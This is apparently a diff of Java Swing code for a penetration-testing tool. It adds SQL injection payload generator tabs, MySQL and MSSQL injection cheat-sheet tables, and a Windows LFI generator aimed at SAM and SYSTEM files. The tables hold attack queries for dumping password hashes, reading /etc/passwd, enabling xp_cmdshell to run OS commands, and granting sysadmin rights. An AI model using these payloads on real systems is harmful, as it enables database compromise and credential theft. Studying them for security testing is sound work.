+ jPanel83.add(union); + + jPanel84.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel59.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel59.setForeground(new java.awt.Color(255, 255, 255)); + jLabel59.setText("Count"); + + unioninput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + unioninputActionPerformed(evt); + } + }); + + jLabel60.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel60.setForeground(new java.awt.Color(255, 255, 255)); + jLabel60.setText("Output"); + + unionoutput.setColumns(20); + unionoutput.setLineWrap(true); + unionoutput.setRows(5); + unionoutput.setAutoscrolls(false); + jScrollPane40.setViewportView(unionoutput); + + javax.swing.GroupLayout jPanel84Layout = new javax.swing.GroupLayout(jPanel84); + jPanel84.setLayout(jPanel84Layout); + jPanel84Layout.setHorizontalGroup( + jPanel84Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel84Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel84Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel84Layout.createSequentialGroup() + .addGroup(jPanel84Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel59) + .addComponent(jLabel60)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(unioninput) + .addComponent(jScrollPane40, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel84Layout.setVerticalGroup( + jPanel84Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel84Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel59) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(unioninput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel60) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane40, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel82Layout = new javax.swing.GroupLayout(jPanel82); + jPanel82.setLayout(jPanel82Layout); + jPanel82Layout.setHorizontalGroup( + jPanel82Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel82Layout.createSequentialGroup() + .addComponent(jPanel83, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel84, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel82Layout.setVerticalGroup( + jPanel82Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel83, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel84, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout unionselectPanelLayout = new javax.swing.GroupLayout(unionselectPanel); + unionselectPanel.setLayout(unionselectPanelLayout); + unionselectPanelLayout.setHorizontalGroup( + unionselectPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel82, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + unionselectPanelLayout.setVerticalGroup( + unionselectPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel82, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("Union Select Statement", unionselectPanel); + + jPanel85.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel86.setBackground(new java.awt.Color(2, 71, 105)); + jPanel86.setForeground(new java.awt.Color(255, 255, 255)); + jPanel86.setLayout(new java.awt.GridLayout(7, 1)); + + spacetoinline.setBackground(new java.awt.Color(2, 71, 105)); + spacetoinline.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + spacetoinline.setForeground(new java.awt.Color(255, 255, 255)); + spacetoinline.setText("Generate"); + spacetoinline.setPreferredSize(new java.awt.Dimension(150, 100)); + spacetoinline.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + spacetoinlineActionPerformed(evt); + } + }); + jPanel86.add(spacetoinline); + + jPanel87.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel61.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel61.setForeground(new java.awt.Color(255, 255, 255)); + jLabel61.setText("Count"); + + spacetoinlineinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + spacetoinlineinputActionPerformed(evt); + } + }); + + jLabel62.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel62.setForeground(new java.awt.Color(255, 255, 255)); + jLabel62.setText("Output"); + + spacetoinlineoutput.setColumns(20); + spacetoinlineoutput.setLineWrap(true); + spacetoinlineoutput.setRows(5); + spacetoinlineoutput.setAutoscrolls(false); + jScrollPane41.setViewportView(spacetoinlineoutput); + + javax.swing.GroupLayout jPanel87Layout = new javax.swing.GroupLayout(jPanel87); + jPanel87.setLayout(jPanel87Layout); + jPanel87Layout.setHorizontalGroup( + jPanel87Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel87Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel87Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel87Layout.createSequentialGroup() + .addGroup(jPanel87Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel61) + .addComponent(jLabel62)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(spacetoinlineinput) + .addComponent(jScrollPane41, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel87Layout.setVerticalGroup( + jPanel87Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel87Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel61) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(spacetoinlineinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel62) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane41, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel85Layout = new javax.swing.GroupLayout(jPanel85); + jPanel85.setLayout(jPanel85Layout); + jPanel85Layout.setHorizontalGroup( + jPanel85Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel85Layout.createSequentialGroup() + .addComponent(jPanel86, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel87, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel85Layout.setVerticalGroup( + jPanel85Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel86, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel87, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout spacetoinlinePanelLayout = new javax.swing.GroupLayout(spacetoinlinePanel); + spacetoinlinePanel.setLayout(spacetoinlinePanelLayout); + spacetoinlinePanelLayout.setHorizontalGroup( + spacetoinlinePanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel85, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + spacetoinlinePanelLayout.setVerticalGroup( + spacetoinlinePanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel85, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("Space to inline", spacetoinlinePanel); + + jPanel96.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel97.setBackground(new java.awt.Color(55, 65, 74)); + + jTable1.setBackground(new java.awt.Color(55, 65, 74)); + jTable1.setForeground(new java.awt.Color(255, 255, 255)); + jTable1.setModel(new javax.swing.table.DefaultTableModel( + new Object [][] { + {"Version", "SELECT @@version"}, + {"Comments", "<html> SELECT 1; #comment <br> SELECT /*comment*/1; </html>"}, + {"Current User", "<html> SELECT user(); SELECT system_user(); </html>"}, + {"List Users", "SELECT user FROM mysql.user; — priv"}, + {"List Password Hashes", "SELECT host, user, password FROM mysql.user; — priv"}, + {"List Privileges", "SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns"}, + {"List DBA Accounts", "SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv"}, + {"Current Database", "SELECT database()"}, + {"List Databases ", "<html> SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 <br> SELECT distinct(db) FROM mysql.db — priv </html>"}, + {"List Columns", "SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"}, + {"List Tables ", "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’"}, + {"Find Tables From Column Name", "SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’"}, + {"Select Nth Row", "SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0"}, + {"Select Nth Char", "SELECT substr('abcd', 3, 1); # returns c"}, + {"Bitwise AND ", "<html> SELECT 6 & 2; # returns 2 <br> SELECT 6 & 1; # returns 0 </html>"}, + {"ASCII Value -> Char", "SELECT char(65); # returns A"}, + {"Char -> ASCII Value", "SELECT ascii('A'); # returns 65"}, + {"Casting", "SELECT cast('1' AS unsigned integer); SELECT cast('123' AS char);"}, + {"String Concatenation", "<html> SELECT CONCAT('A','B'); #returns AB <br> SELECT CONCAT('A','B','C'); # returns ABC </html> "}, + {"If Statement", "SELECT if(1=1,'foo','bar'); — returns 'foo'"}, + {"Case Statement", "SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A"}, + {"Avoiding Quotes", "SELECT 0×414243; # returns ABC"}, + {"Time Delay", "<html> SELECT BENCHMARK(1000000,MD5('A')); <br> SELECT SLEEP(5); # >= 5.0.12 </html>"}, + {"Command Execution", "If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform"}, + {"Local File Access", "<html> …' UNION ALL SELECT LOAD_FILE('/etc/passwd') — priv, can only read world-readable files. <br> SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; — priv, write to file system </html>"}, + {"Hostname, IP Address", "SELECT @@hostname;"}, + {"Create Users", "CREATE USER test1 IDENTIFIED BY 'pass1'; — priv"}, + {"Delete Users", "DROP USER test1; — priv"}, + {"Make User DBA", "GRANT ALL PRIVILEGES ON *.* TO test1@'%'; — priv"}, + {"Location of DB files", "SELECT @@datadir;"}, + {"Default/System Databases", "<html> information_schema (>= mysql 5.0) <br> mysql </html>"} + }, + new String [] { + "Desc", "Query" + } + ) { + Class[] types = new Class [] { + java.lang.String.class, java.lang.String.class + }; + + public Class getColumnClass(int columnIndex) { + return types [columnIndex]; + } + }); + jTable1.getColumnModel().getColumn(0).setPreferredWidth(100); + jTable1.getColumnModel().getColumn(1).setPreferredWidth(900); + jTable1.setRowHeight(40); + jScrollPane30.setViewportView(jTable1); + + javax.swing.GroupLayout jPanel97Layout = new javax.swing.GroupLayout(jPanel97); + jPanel97.setLayout(jPanel97Layout); + jPanel97Layout.setHorizontalGroup( + jPanel97Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane30, javax.swing.GroupLayout.DEFAULT_SIZE, 942, Short.MAX_VALUE) + ); + jPanel97Layout.setVerticalGroup( + jPanel97Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane30, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 470, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout jPanel96Layout = new javax.swing.GroupLayout(jPanel96); + jPanel96.setLayout(jPanel96Layout); + jPanel96Layout.setHorizontalGroup( + jPanel96Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel97, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + jPanel96Layout.setVerticalGroup( + jPanel96Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel97, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout mysqlcheetsheetPanleLayout = new javax.swing.GroupLayout(mysqlcheetsheetPanle); + mysqlcheetsheetPanle.setLayout(mysqlcheetsheetPanleLayout); + mysqlcheetsheetPanleLayout.setHorizontalGroup( + mysqlcheetsheetPanleLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel96, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + mysqlcheetsheetPanleLayout.setVerticalGroup( + mysqlcheetsheetPanleLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel96, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("MySQL Cheat Sheet", mysqlcheetsheetPanle); + + jPanel98.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel99.setBackground(new java.awt.Color(55, 65, 74)); + + jTable2.setBackground(new java.awt.Color(55, 65, 74)); + jTable2.setForeground(new java.awt.Color(255, 255, 255)); + jTable2.setModel(new javax.swing.table.DefaultTableModel( + new Object [][] { + {"Version", "SELECT @@version"}, + {"Comments", "<html> SELECT 1 — comment <br> SELECT /*comment*/1 </html>"}, + {"Current User", "<html> SELECT user_name(); <br> SELECT system_user; <br> SELECT user; <br> SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID <br> </html>"}, + {"List Users", "SELECT name FROM master..syslogins"}, + {"List Password Hashes", "<html> SELECT name, password FROM master..sysxlogins — priv, mssql 2000; <br> SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. <br> SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; <br> SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 <br> </html>"}, + {"List Privileges", "<html> – current privs on a particular object in 2005, 2008 <br> SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — current database <br> SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); — current server <br> SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); –permissions on a table <br> SELECT permission_name FROM master..fn_my_permissions('sa', 'USER'); <br> –permissions on a user– current privs in 2005, 2008 <br> SELECT is_srvrolemember('sysadmin'); <br> SELECT is_srvrolemember('dbcreator'); <br> SELECT is_srvrolemember('bulkadmin'); <br> SELECT is_srvrolemember('diskadmin'); <br> SELECT is_srvrolemember('processadmin'); <br> SELECT is_srvrolemember('serveradmin'); <br> SELECT is_srvrolemember('setupadmin'); <br> SELECT is_srvrolemember('securityadmin'); <br> – who has a particular priv? 2005, 2008 <br> SELECT name FROM master..syslogins WHERE denylogin = 0; <br> SELECT name FROM master..syslogins WHERE hasaccess = 1; <br> SELECT name FROM master..syslogins WHERE isntname = 0; <br> SELECT name FROM master..syslogins WHERE isntgroup = 0; <br> SELECT name FROM master..syslogins WHERE sysadmin = 1; <br> SELECT name FROM master..syslogins WHERE securityadmin = 1; <br> SELECT name FROM master..syslogins WHERE serveradmin = 1; <br> SELECT name FROM master..syslogins WHERE setupadmin = 1; <br> SELECT name FROM master..syslogins WHERE processadmin = 1; <br> SELECT name FROM master..syslogins WHERE diskadmin = 1; <br> SELECT name FROM master..syslogins WHERE dbcreator = 1; <br> SELECT name FROM master..syslogins WHERE bulkadmin = 1; <br> </html>"}, + {"List DBA Accounts", "<html> SELECT is_srvrolemember('sysadmin'); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the documentation <br> SELECT is_srvrolemember('sysadmin', 'sa'); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.<br> SELECT name FROM master..syslogins WHERE sysadmin = '1′ — tested on 2005 </html>"}, + {"Current Database", "SELECT DB_NAME()"}, + {"List Databases ", "<html> SELECT name FROM master..sysdatabases; <br> SELECT DB_NAME(N); — for N = 0, 1, 2, … </html>"}, + {"List Columns", "<html> SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); — for the current DB only <br> SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable </html>"}, + {"List Tables ", "<html> SELECT name FROM master..sysobjects WHERE xtype = 'U'; — use xtype = 'V' for views <br> SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';<br> SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable </html>"}, + {"Find Tables From Column Name", "<html> – NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). <br> SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' — this lists table, column for each column containing the word 'password' </html>"}, + {"Select Nth Row", "SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row"}, + {"Select Nth Char", "SELECT substring('abcd', 3, 1) — returns c"}, + {"Bitwise AND ", "<html> SELECT 6 & 2 — returns 2 <br> SELECT 6 & 1 — returns 0 </html>"}, + {"ASCII Value -> Char", "SELECT char(0×41) — returns A"}, + {"Char -> ASCII Value", "SELECT ascii('A') – returns 65"}, + {"Casting", "<html> SELECT CAST('1' as int); <br> SELECT CAST(1 as char) </html>"}, + {"String Concatenation", "<html> SELECT 'A' + 'B' – returns AB </html>"}, + {"If Statement", "IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1"}, + {"Case Statement", "SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1"}, + {"Avoiding Quotes", "SELECT char(65)+char(66) — returns AB"}, + {"Time Delay", "WAITFOR DELAY '0:0:5' — pause for 5 seconds"}, + {"Command Execution", "<html> EXEC xp_cmdshell 'net user'; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default: <br> EXEC sp_configure 'show advanced options', 1; — priv <br> RECONFIGURE; — priv <br> EXEC sp_configure 'xp_cmdshell', 1; — priv <br> RECONFIGURE; — priv </html>"}, + {"Local File Access", "<html> CREATE TABLE mydata (line varchar(8000)); <br> BULK INSERT mydata FROM 'c:boot.ini';<br> DROP TABLE mydata; </html>"}, + {"Hostname, IP Address", "SELECT HOST_NAME()"}, + {"Create Users", "EXEC sp_addlogin 'user', 'pass'; — priv"}, + {"Delete Users", "EXEC sp_droplogin 'user'; — priv"}, + {"Make User DBA", "EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; — priv"}, + {"Location of DB files", "<html> EXEC sp_helpdb master; –location of master.mdf <br> EXEC sp_helpdb pubs; –location of pubs.mdf<br> </html>"}, + {"Default/System Databases", "<html> northwind<br> model<br> msdb<br> pubs — not on sql server 2005<br> tempdb </html>"} + }, + new String [] { + "Desc", "Query" + } + ) { + Class[] types = new Class [] { + java.lang.String.class, java.lang.String.class + }; + + public Class getColumnClass(int columnIndex) { + return types [columnIndex]; + } + }); + jTable2.getColumnModel().getColumn(0).setPreferredWidth(100); + jTable2.getColumnModel().getColumn(1).setPreferredWidth(900); + jTable2.setRowHeight(6,100); + jTable2.setRowHeight(40); + jScrollPane31.setViewportView(jTable2); + + javax.swing.GroupLayout jPanel99Layout = new javax.swing.GroupLayout(jPanel99); + jPanel99.setLayout(jPanel99Layout); + jPanel99Layout.setHorizontalGroup( + jPanel99Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane31, javax.swing.GroupLayout.DEFAULT_SIZE, 942, Short.MAX_VALUE) + ); + jPanel99Layout.setVerticalGroup( + jPanel99Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane31, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 470, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout jPanel98Layout = new javax.swing.GroupLayout(jPanel98); + jPanel98.setLayout(jPanel98Layout); + jPanel98Layout.setHorizontalGroup( + jPanel98Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel99, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + jPanel98Layout.setVerticalGroup( + jPanel98Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel99, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout mssqlcheatsheetpanelLayout = new javax.swing.GroupLayout(mssqlcheatsheetpanel); + mssqlcheatsheetpanel.setLayout(mssqlcheatsheetpanelLayout); + mssqlcheatsheetpanelLayout.setHorizontalGroup( + mssqlcheatsheetpanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel98, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + mssqlcheatsheetpanelLayout.setVerticalGroup( + mssqlcheatsheetpanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel98, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper1.addTab("MSSQL Cheat Sheet", mssqlcheatsheetpanel); + + javax.swing.GroupLayout sqliPanelLayout = new javax.swing.GroupLayout(sqliPanel); + sqliPanel.setLayout(sqliPanelLayout); + sqliPanelLayout.setHorizontalGroup( + sqliPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(datagrapper1) + ); + sqliPanelLayout.setVerticalGroup( + sqliPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(datagrapper1) + ); + + jTabbedPane1.addTab("SQLi", sqliPanel); + + datagrapper2.setBackground(new java.awt.Color(2, 71, 105)); + datagrapper2.setForeground(new java.awt.Color(255, 255, 255)); + datagrapper2.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + + jPanel91.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel92.setBackground(new java.awt.Color(2, 71, 105)); + jPanel92.setForeground(new java.awt.Color(255, 255, 255)); + jPanel92.setLayout(new java.awt.GridLayout(7, 1)); + + windowslfi.setBackground(new java.awt.Color(2, 71, 105)); + windowslfi.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + windowslfi.setForeground(new java.awt.Color(255, 255, 255)); + windowslfi.setText("Generate"); + windowslfi.setPreferredSize(new java.awt.Dimension(150, 100)); + windowslfi.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + windowslfiActionPerformed(evt); + } + }); + jPanel92.add(windowslfi); + + jPanel93.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel65.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel65.setForeground(new java.awt.Color(255, 255, 255)); + jLabel65.setText("Parameter"); + + windowsinputpara.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + windowsinputparaActionPerformed(evt); + } + }); + + jLabel66.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel66.setForeground(new java.awt.Color(255, 255, 255)); + jLabel66.setText("Output"); + + windowsoutput.setColumns(20); + windowsoutput.setLineWrap(true); + windowsoutput.setRows(5); + windowsoutput.setAutoscrolls(false); + jScrollPane43.setViewportView(windowsoutput); + + windowsinputurl.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + windowsinputurlActionPerformed(evt); + } + }); + + jLabel68.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel68.setForeground(new java.awt.Color(255, 255, 255)); + jLabel68.setText("URL"); + + jComboBox1.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Windows SAM", "Windows SYSTEM"})); + jComboBox1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jComboBox1ActionPerformed(evt); + } + }); + + javax.swing.GroupLayout jPanel93Layout = new javax.swing.GroupLayout(jPanel93); + jPanel93.setLayout(jPanel93Layout); + jPanel93Layout.setHorizontalGroup( + jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel93Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane43, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE) + .addGroup(jPanel93Layout.createSequentialGroup() + .addGroup(jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel66) + .addGroup(jPanel93Layout.createSequentialGroup() + .addGroup(jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(windowsinputurl, javax.swing.GroupLayout.PREFERRED_SIZE, 239, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel68)) + .addGap(34, 34, 34) + .addGroup(jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel65, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE) + 